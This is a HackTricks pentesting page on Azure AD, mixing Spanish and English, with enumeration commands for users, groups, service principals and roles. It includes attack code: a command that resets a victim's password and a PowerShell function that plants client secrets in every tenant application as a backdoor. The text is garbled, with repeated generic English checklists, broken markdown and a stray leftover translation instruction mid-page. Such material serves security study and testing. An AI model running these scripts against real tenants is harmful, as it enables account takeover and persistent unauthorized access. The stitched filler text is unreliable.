Az - AzureAD (AAD)

Apoya a HackTricks

Información Básica

Azure Active Directory (Azure AD) sirve como el servicio basado en la nube de Microsoft para la gestión de identidad y acceso. Es fundamental para permitir que los empleados inicien sesión y accedan a recursos, tanto dentro como fuera de la organización, abarcando Microsoft 365, el portal de Azure y una multitud de otras aplicaciones SaaS. El diseño de Azure AD se centra en ofrecer servicios de identidad esenciales, incluyendo autenticación, autorización y gestión de usuarios.

Las características clave de Azure AD incluyen autenticación multifactor y acceso condicional, junto con una integración perfecta con otros servicios de seguridad de Microsoft. Estas características elevan significativamente la seguridad de las identidades de usuario y permiten a las organizaciones implementar y hacer cumplir eficazmente sus políticas de acceso. Como componente fundamental del ecosistema de servicios en la nube de Microsoft, Azure AD es crucial para la gestión basada en la nube de identidades de usuario.

Entidades

Enumeración

Para esta enumeración puedes utilizar la herramienta az cli, el módulo de PowerShell AzureAD (o AzureAD Preview) y el módulo Az PowerShell.

En Linux necesitarás instalar PowerShell Core:

sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common

# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb

# Update repos
sudo apt-get update
sudo add-apt-repository universe

# Install & start powershell
sudo apt-get install -y powershell
pwsh

# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

Diferencias entre módulos

  • AzureAD es un módulo de PowerShell de Microsoft para gestionar Azure AD. No muestra todas las propiedades de los objetos de Azure AD y no se puede utilizar para acceder a la información de recursos de Azure.

  • Az PowerShell es un módulo para gestionar recursos de Azure desde la línea de comandos de PowerShell.

Conexión

az login #This will open the browser
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p VerySecret --tenant contoso.onmicrosoft.com #With password
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com #With cert

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

Cuando te logueas a través de CLI en Azure con cualquier programa, estás utilizando una Aplicación de Azure de un inquilino que pertenece a Microsoft. Estas Aplicaciones, como las que puedes crear en tu cuenta, tienen un ID de cliente. No podrás ver todas ellas en las listas de aplicaciones permitidas que puedes ver en la consola, pero están permitidas por defecto.

Por ejemplo, un script de powershell que se autentica utiliza una aplicación con el ID de cliente 1950a258-227b-4e31-a9cf-717495945fc2. Incluso si la aplicación no aparece en la consola, un administrador de sistemas podría bloquear esa aplicación para que los usuarios no puedan acceder utilizando herramientas que se conectan a través de esa Aplicación.

Sin embargo, hay otros IDs de cliente de aplicaciones que te permitirán conectarte a Azure:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

Usuarios

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from AzureAD
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user
az role assignment list --include-groups --include-classic-administrators true --assignee <email>

Azure AD

Descripción general

Azure Active Directory (Azure AD) es un servicio de identidad basado en la nube de Microsoft. Proporciona funciones de gestión de identidades y acceso para ayudar a proteger su organización al conectarse a aplicaciones en la nube.

Consideraciones de seguridad

Al realizar pruebas de penetración en Azure AD, es importante tener en cuenta las siguientes consideraciones de seguridad:

  • Autenticación débil: Verificar la fortaleza de las contraseñas y la configuración de autenticación multifactor (MFA).

  • Autorización inadecuada: Revisar los roles y permisos asignados a los usuarios para evitar privilegios excesivos.

  • Configuraciones incorrectas de directivas de acceso condicional: Evaluar la configuración de las directivas de acceso condicional para garantizar que se apliquen correctamente.

  • Suplantación de identidad (phishing): Realizar pruebas de phishing para evaluar la conciencia de seguridad de los usuarios y la efectividad de las medidas de prevención.

Recomendaciones de seguridad

Para mejorar la seguridad de Azure AD, se recomienda implementar las siguientes medidas:

  • Habilitar la autenticación multifactor (MFA) para todos los usuarios.

  • Revisar y limitar los roles y permisos asignados para seguir el principio de privilegios mínimos.

  • Configurar alertas de seguridad para detectar actividades sospechosas.

  • Capacitar a los usuarios sobre la seguridad de la información y cómo identificar intentos de phishing.

Al seguir estas recomendaciones y consideraciones de seguridad, puede fortalecer la seguridad de su entorno de Azure AD y proteger mejor los datos y las identidades de su organización.

# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
# Get info of 1 user
Get-AzureADUser -ObjectId test@corp.onmicrosoft.com | fl
# Search "admin" users
Get-AzureADUser -SearchString "admin" #Search admin at the begining of DisplayName or userPrincipalName
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Search "admin" word in DisplayName
# Get all attributes of a user
Get-AzureADUser -ObjectId test@defcorphq.onmicrosoft.com|%{$_.PSObject.Properties.Name}
# Search attributes containing the word "password"
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
# All users from AzureAD# All users from AzureAD
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All users synced from on-prem
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Objects created by a/any user
Get-AzureADUser [-ObjectId <email>] | Get-AzureADUserCreatedObject
# Devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Objects owned by a specific user
Get-AzureADUserOwnedObject -ObjectId test@corp.onmicrosoft.com
# Get groups & roles where the user is a member
Get-AzureADUserMembership -ObjectId 'test@corp.onmicrosoft.com'
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId test@defcorphq.onmicrosoft.com
# Apps where a user has a role (role not shown)
Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl *
# Get Administrative Units of a user
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }

Azure AD

Enumerating Azure AD roles

To list all Azure AD roles, you can use the following PowerShell command:

Get-AzureADDirectoryRole

This command will return a list of all Azure AD roles available in the directory.

Enumerating Azure AD role members

To list members of a specific Azure AD role, you can use the following PowerShell command:

Get-AzureADDirectoryRoleMember -ObjectId <RoleObjectId>

Replace <RoleObjectId> with the Object ID of the Azure AD role you want to enumerate members for.

Enumerating Azure AD users

To list all Azure AD users, you can use the following PowerShell command:

Get-AzureADUser

This command will return a list of all users in the Azure AD directory.

Enumerating Azure AD groups

To list all Azure AD groups, you can use the following PowerShell command:

Get-AzureADGroup

This command will return a list of all groups in the Azure AD directory.

Enumerating Azure AD group members

To list members of a specific Azure AD group, you can use the following PowerShell command:

Get-AzureADGroupMember -ObjectId <GroupObjectId>

Replace <GroupObjectId> with the Object ID of the Azure AD group you want to enumerate members for.

# Enumerate users
Get-AzADUser
# Get details of a user
Get-AzADUser -UserPrincipalName test@defcorphq.onmicrosoft.com
# Search user by string
Get-AzADUser -SearchString "admin" #Search at the beginnig of DisplayName
Get-AzADUser | ?{$_.Displayname -match "admin"}
# Get roles assigned to a user
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com

Cambiar la Contraseña del Usuario

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

Políticas de MFA y Acceso Condicional

Se recomienda encarecidamente agregar MFA a cada usuario, sin embargo, algunas empresas no lo configurarán o podrían configurarlo con un Acceso Condicional: El usuario requerirá MFA si inicia sesión desde una ubicación específica, navegador o alguna condición. Estas políticas, si no se configuran correctamente, podrían ser propensas a bypasses. Verifique:

Az - Conditional Access Policies / MFA Bypass

Grupos

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from AzureAD
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *

Azure AD

Enumeration

  1. Enumerate users

    • Use tools like Azure AD Recon to gather information about users in the Azure AD tenant.

  2. Enumerate groups

    • Identify Azure AD groups and their members using tools like Azure AD Recon.

  3. Enumerate applications

    • Discover applications registered in Azure AD using tools like Azure AD Recon.

Exploitation

  1. Password spraying

    • Perform password spraying attacks against Azure AD accounts to identify weak passwords.

  2. Phishing attacks

    • Use phishing techniques to trick users into revealing their credentials, which can then be used to compromise Azure AD accounts.

  3. Brute force attacks

    • Conduct brute force attacks against Azure AD authentication endpoints to guess user passwords.

Post-Exploitation

  1. Privilege escalation

    • Exploit misconfigurations or vulnerabilities to escalate privileges within Azure AD.

  2. Data exfiltration

    • Extract sensitive data from Azure AD, such as user information or application secrets.

  3. Persistence

    • Maintain access to Azure AD by establishing backdoors or creating rogue accounts.

# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
Get-AzADGroup -DisplayName <resource_group_name> | fl
# Get "admin" groups
Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin"
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin"
# Get groups allowing dynamic membership
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# All groups that are from Azure AD
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All groups that are synced from on-prem (note that security groups are not synced)
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Get members of a group
Get-AzureADGroupMember -ObjectId <group_id>
# Get roles of group
Get-AzureADMSGroup -SearchString "Contoso_Helpdesk_Administrators" #Get group id
Get-AzureADMSRoleAssignment -Filter "principalId eq '69584002-b4d1-4055-9c94-320542efd653'"
# Get Administrative Units of a group
$groupObj = Get-AzureADGroup -Filter "displayname eq 'TestGroup'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where {$_.Id -eq $groupObj.ObjectId} }

Azure AD

Enumerating Azure AD roles

To list all Azure AD roles, you can use the following PowerShell command:

Get-AzureADDirectoryRole

This command will return a list of all Azure AD roles available in the directory.

Enumerating Azure AD role members

To list members of a specific Azure AD role, you can use the following PowerShell command:

Get-AzureADDirectoryRoleMember -ObjectId <RoleObjectId>

Replace <RoleObjectId> with the Object ID of the Azure AD role you want to enumerate.

Enumerating Azure AD users

To list all Azure AD users, you can use the following PowerShell command:

Get-AzureADUser

This command will return a list of all users in the Azure AD directory.

Enumerating Azure AD groups

To list all Azure AD groups, you can use the following PowerShell command:

Get-AzureADGroup

This command will return a list of all groups in the Azure AD directory.

Enumerating Azure AD group members

To list members of a specific Azure AD group, you can use the following PowerShell command:

Get-AzureADGroupMember -ObjectId <GroupObjectId>

Replace <GroupObjectId> with the Object ID of the Azure AD group you want to enumerate.

Enumerating Azure AD applications

To list all Azure AD applications, you can use the following PowerShell command:

Get-AzureADApplication

This command will return a list of all applications registered in the Azure AD directory.

# Get all groups
Get-AzADGroup
# Get details of a group
Get-AzADGroup -ObjectId <id>
# Search group by string
Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName
Get-AzADGroup |?{$_.Displayname -match "admin"}
# Get members of group
Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>

Agregar usuario a grupo

Los propietarios del grupo pueden agregar nuevos usuarios al grupo

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

Los grupos pueden ser dinámicos, lo que básicamente significa que si un usuario cumple ciertas condiciones, será agregado a un grupo. Por supuesto, si las condiciones se basan en atributos que un usuario puede controlar, podría abusar de esta característica para ingresar en otros grupos. Consulte cómo abusar de los grupos dinámicos en la siguiente página:

Az - Dynamic Groups Privesc

Service Principals / Enterprise Applications

Tenga en cuenta que el Service Principal en la terminología de PowerShell se llama Enterprise Applications en el portal de Azure (web).

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# List apps that have password credentials
az ad sp list --all --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad sp list -all --query "[?keyCredentials != null].displayName"

Azure AD

Enumeration

  1. Enumerate Azure AD users using tools like Azure AD Recon.

Password Spraying

  1. Perform password spraying attacks against Azure AD using tools like Spray.

Phishing

  1. Conduct phishing campaigns to target Azure AD users and steal their credentials.

Brute Force

  1. Perform brute force attacks against Azure AD authentication portals to crack weak passwords.

Token Impersonation

  1. Use stolen tokens or perform token impersonation attacks to gain unauthorized access to Azure AD resources.

Password Policies

  1. Check Azure AD password policies to identify weak configurations that could be exploited.

Multi-Factor Authentication Bypass

  1. Attempt to bypass multi-factor authentication controls implemented in Azure AD to gain access with only username and password.

Privilege Escalation

  1. Exploit misconfigurations or vulnerabilities in Azure AD to escalate privileges and gain higher levels of access.

Data Exfiltration

  1. Attempt to exfiltrate sensitive data stored in Azure AD by exploiting weaknesses in access controls or misconfigured permissions.

Account Takeover

  1. Take over Azure AD user accounts by leveraging stolen credentials or exploiting vulnerabilities in authentication mechanisms.

Federation Attacks

  1. Perform federation attacks to compromise trust relationships between Azure AD and other identity providers.

Insider Threats

  1. Identify and exploit insider threats within Azure AD to gain unauthorized access to sensitive information or resources.

Monitoring Evasion

  1. Evade detection mechanisms in Azure AD to maintain persistence and avoid being detected during attacks.

Persistence

  1. Establish persistence mechanisms within Azure AD to maintain access even after initial compromise.

Reporting

  1. Generate detailed reports of findings and recommendations for improving security posture in Azure AD.

Compliance Checks

  1. Conduct compliance checks to ensure Azure AD configurations align with industry standards and best practices.

Remediation

  1. Provide guidance on remediating identified vulnerabilities and improving overall security in Azure AD.

Training

  1. Offer training sessions to educate Azure AD administrators and users on security best practices and threat awareness.

Documentation

  1. Document all findings, methodologies, and outcomes of Azure AD security assessments for future reference and analysis.

# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
Get-AzureADServicePrincipal -ObjectId <id> | fl *
# Get SP by string name or Id
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} | fl
Get-AzureADServicePrincipal -All $true | ?{$_.AppId -match "103947652-1234-5834-103846517389"}
# Get owner of SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwner |fl *
# Get objects owned by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwnedObject
# Get objects created by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedObject
# Get groups where the SP is a member
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *

Conexión de Azure AD con Az PowerShell

Para conectarse a Azure AD utilizando Az PowerShell, siga los siguientes pasos:

  1. Instale el módulo Az PowerShell si aún no lo ha hecho:

    Install-Module -Name Az -AllowClobber -Scope CurrentUser
  2. Inicie sesión en su cuenta de Azure utilizando el siguiente comando y siga las instrucciones en pantalla:

    Connect-AzAccount
  3. Una vez que haya iniciado sesión, puede ejecutar comandos de Az PowerShell para interactuar con Azure AD.

¡Ahora está conectado a Azure AD utilizando Az PowerShell!

# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
Get-AzADServicePrincipal -ObjectId <id>
# Search SP by string
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
# Get roles of a SP
Get-AzRoleAssignment -ServicePrincipalName <String>
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

El propietario de un Principal de Servicio puede cambiar su contraseña.

Lista y trata de agregar un secreto de cliente en cada Aplicación Empresarial

```powershell # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications" "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" "Method" = "POST" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

$Body = @{ "passwordCredential"= @{ "displayName" = "Password" } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output "Failed to add new client secret to '$($App.displayName)' Application." } } if($Details -ne $null) { Write-Output "" Write-Output "Client secret added to : " Write-Output $Details | fl * } } else { Write-Output "Failed to Enumerate the Applications." } }

</details>

### Roles

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='az cli'>

```bash
# Get roles
az role definition list
# Get assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,resourceGroup:resourceGroup,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"

Azure AD

Enumeration

  1. Enumerate Azure AD users using tools like Azure AD Recon.

Password Attacks

  1. Perform password spraying attacks against Azure AD accounts.

Phishing

  1. Conduct phishing campaigns to target Azure AD users.

Brute Force

  1. Perform brute force attacks against Azure AD authentication.

Token Manipulation

  1. Manipulate Azure AD tokens to escalate privileges.

Password Policies

  1. Identify and assess Azure AD password policies for weaknesses.

Multi-Factor Authentication (MFA) Bypass

  1. Attempt to bypass MFA controls in Azure AD.

Account Lockout Policies

  1. Test Azure AD account lockout policies for effectiveness.

User Impersonation

  1. Impersonate Azure AD users to gain unauthorized access.

Federation Trust

  1. Exploit misconfigurations in Azure AD federation trust settings.

Application Permissions

  1. Review and analyze Azure AD application permissions for potential abuse.

Conditional Access Policies

  1. Evaluate Azure AD conditional access policies for security gaps.

Privileged Identity Management (PIM)

  1. Assess Azure AD PIM configurations for vulnerabilities.

Sign-In Risk Policies

  1. Review Azure AD sign-in risk policies for weaknesses.

Security Defaults

  1. Check Azure AD security defaults configuration for misconfigurations.

Legacy Authentication

  1. Identify and assess risks associated with legacy authentication in Azure AD.

Guest Accounts

  1. Review Azure AD guest accounts for security implications.

Group Membership

  1. Enumerate Azure AD group memberships to identify potential targets.

Device Registration

  1. Assess security risks related to Azure AD device registration.

Passwordless Authentication

  1. Evaluate the security of Azure AD passwordless authentication methods.

Risky Sign-Ins

  1. Monitor and investigate risky sign-ins in Azure AD for potential threats.

Insider Threats

  1. Identify and mitigate insider threats within Azure AD environments.

Data Exfiltration

  1. Detect and prevent data exfiltration from Azure AD environments.

Monitoring and Logging

  1. Review Azure AD logs and monitoring settings for security insights.

Reporting

  1. Generate reports on Azure AD security findings and recommendations.

Compliance

  1. Ensure Azure AD security compliance with relevant standards and regulations.

Incident Response

  1. Develop incident response procedures for Azure AD security breaches.

Training and Awareness

  1. Provide training and awareness programs for Azure AD users on security best practices.

Secure Configuration

  1. Implement secure configurations for Azure AD to enhance overall security posture.

Vulnerability Management

  1. Conduct vulnerability assessments and management for Azure AD environments.

Third-Party Integrations

  1. Assess security risks associated with third-party integrations in Azure AD.

Automation

  1. Implement automation for routine Azure AD security tasks to improve efficiency.

Best Practices

  1. Follow best practices for securing Azure AD environments to mitigate risks.

Collaboration

  1. Foster collaboration between security teams and Azure AD administrators for effective security measures.

Continuous Improvement

  1. Continuously improve Azure AD security posture through feedback and lessons learned.

Red Team Exercises

  1. Conduct red team exercises to simulate real-world attacks and test Azure AD defenses.

Threat Intelligence

  1. Utilize threat intelligence to enhance detection and response capabilities in Azure AD environments.

Research

  1. Stay informed about the latest security trends and research in Azure AD security.

Community Engagement

  1. Engage with the security community to share knowledge and insights on Azure AD security.

  1. Adhere to legal and ethical guidelines when performing security assessments on Azure AD.

Conclusion

  1. Conclude security assessments with comprehensive reports and recommendations for Azure AD security enhancements.

# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *

Az PowerShell

Enumerating Azure AD roles

To list all Azure AD roles, you can use the following PowerShell command:

Get-AzureADDirectoryRole

To get detailed information about a specific role, you can use:

Get-AzureADDirectoryRole -ObjectId <RoleObjectId>

Enumerating Azure AD role members

To list all members of a specific Azure AD role, you can use the following PowerShell command:

Get-AzureADDirectoryRoleMember -ObjectId <RoleObjectId>

Enumerating Azure AD users

To list all Azure AD users, you can use the following PowerShell command:

Get-AzureADUser

To get detailed information about a specific user, you can use:

Get-AzureADUser -ObjectId <UserObjectId>

Enumerating Azure AD groups

To list all Azure AD groups, you can use the following PowerShell command:

Get-AzureADGroup

To get detailed information about a specific group, you can use:

Get-AzureADGroup -ObjectId <GroupObjectId>
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>

El siguiente contenido es de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo pentesting-cloud/azure-security/az-azuread/README.md. Traduce el texto relevante al español y devuelve la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzcas cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco añadas nada extra aparte de la traducción y la sintaxis de markdown. %}

# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

Dispositivos

# If you know how to do this send a PR!

Azure AD

Enumeration

User Enumeration

User enumeration can be performed through the Azure AD login interface. By entering a valid username and observing the response, an attacker can determine if the username is valid or not. This can be automated using tools like enum4linux, ldapsearch, or custom scripts.

Group Enumeration

Group enumeration can be done by querying the Azure AD Graph API. By making requests to https://graph.windows.net/{tenant_id}/groups, an attacker can retrieve information about existing groups within the Azure AD tenant. This information can be useful for further attacks such as targeted phishing campaigns.

Brute Force Attacks

Brute force attacks against Azure AD can be attempted using tools like Hydra, CrackMapExec, or custom scripts. These tools can automate the process of trying multiple username/password combinations to gain unauthorized access to Azure AD accounts.

Password Spraying

Password spraying attacks involve trying a small number of commonly used passwords against a large number of usernames. This technique can help attackers gain access to Azure AD accounts by exploiting weak passwords. Tools like Spray or custom scripts can be used to perform password spraying attacks against Azure AD.

Token Manipulation

Azure AD issues tokens for authentication and authorization purposes. Attackers can attempt to manipulate these tokens to escalate privileges or gain unauthorized access to resources. Techniques like token replay attacks, token forging, or token theft can be used to manipulate Azure AD tokens.

Phishing Attacks

Phishing attacks targeting Azure AD users can be used to steal credentials or deliver malware. Attackers can create fake login pages that mimic the Azure AD interface to trick users into entering their credentials. These credentials can then be used for unauthorized access to Azure AD accounts.

Account Takeover

Once attackers have obtained valid credentials, they can perform an account takeover by changing the account's password, settings, or accessing sensitive information. This can lead to data exfiltration, unauthorized actions, or further compromise of the Azure AD environment.

Multi-Factor Authentication Bypass

Multi-factor authentication (MFA) can add an extra layer of security to Azure AD accounts. However, attackers can attempt to bypass MFA using techniques like phishing, social engineering, or exploiting vulnerabilities in the MFA implementation. By bypassing MFA, attackers can gain unauthorized access to Azure AD accounts.

Azure AD Connect

Azure AD Connect is used to synchronize on-premises directories with Azure AD. Attackers can target Azure AD Connect to gain access to on-premises resources or escalate privileges in the Azure AD environment. Vulnerabilities in Azure AD Connect can be exploited to compromise the synchronization process and gain unauthorized access.

Azure AD PowerShell

Azure AD PowerShell module can be used by administrators to manage Azure AD resources. Attackers can abuse this module to perform malicious actions such as user creation, group modification, or privilege escalation. By compromising Azure AD PowerShell, attackers can gain extensive control over Azure AD resources.

Azure AD Conditional Access Policies

Conditional Access Policies in Azure AD allow administrators to enforce specific access controls based on conditions like user location, device compliance, or risk level. Attackers can attempt to bypass these policies by manipulating user context, forging device information, or exploiting misconfigurations. By bypassing conditional access policies, attackers can gain unauthorized access to Azure AD resources.

Azure AD Security Defaults

Azure AD Security Defaults provide basic security settings for Azure AD tenants. Attackers can attempt to bypass these defaults by exploiting vulnerabilities in the configuration, misconfigurations, or weaknesses in the implementation. By bypassing Azure AD Security Defaults, attackers can circumvent basic security controls and gain unauthorized access to Azure AD resources.

# Enumerate Devices
Get-AzureADDevice -All $true | fl *
